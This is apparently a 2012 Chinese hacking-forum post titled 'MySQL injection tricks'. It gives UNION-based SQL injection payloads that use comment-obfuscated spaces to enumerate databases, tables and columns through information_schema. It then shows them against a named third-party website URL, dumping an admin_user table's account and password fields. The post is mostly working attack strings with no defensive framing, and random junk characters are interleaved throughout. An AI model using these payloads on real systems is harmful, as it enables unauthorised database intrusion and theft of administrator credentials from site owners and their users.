中国网络渗透测试联盟
标题:
mysql注入技巧
[打印本页]
作者:
admin
时间:
2012-9-13 16:29
标题:
mysql注入技巧
查库
$ l, `8 n% _! e$ L5 v4 n3 l
. }2 y. ]" u7 F3 y( [7 ]1 Z7 L, G
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
: @7 Y# C0 G' V5 O; |' s1 J; c
7 p' O8 Q0 L8 }4 q+ V
查表
" W; \. S a: T8 J) L3 J
: s, l% Q2 \2 _6 V
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
y# B- e+ c5 G' R* {
9 D! G# \: U, r0 t# ?. c5 N# x+ j
查段
2 J8 _# S0 R/ K2 {3 U
; U! _4 f! m8 B$ e+ Z
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
1 I! t' |& ]" m, a1 s3 V8 @
8 s3 V# p2 f. b" H/ y7 u ~
/ J( o/ K5 N2 I# S
mysql5高级注入方法暴表
% R# R: G# n4 f( x
- X6 }" N( V, i: c
例子如下:
5 b) j' o( S% t9 r3 Q4 ]
5 i8 P. l# s0 h) S* ?! [, O
1.爆表
+ E& H# C u' k1 `, G0 q" L
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
0 V Q% o% e8 T6 x+ N8 Y
这样爆到第4个时出现了admin_user表。
' i4 g b* m, K' L! {4 i; U) a. e
8 P7 A5 }" B+ {
2.暴字段
9 w2 g3 F! b) B5 o% U2 a1 K
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
/ |! m3 Y& q, u7 r& p$ k, M
6 ]1 b1 a9 O9 F* d8 r
+ ^7 g( G/ \8 ?6 \
3.爆密码
' `: D8 g, C k5 g; y, f
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
& F2 }% a$ U. s& b$ `
" L6 }/ u4 l" m7 h$ N" A6 H
/ s. ^5 \, v3 U( C
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2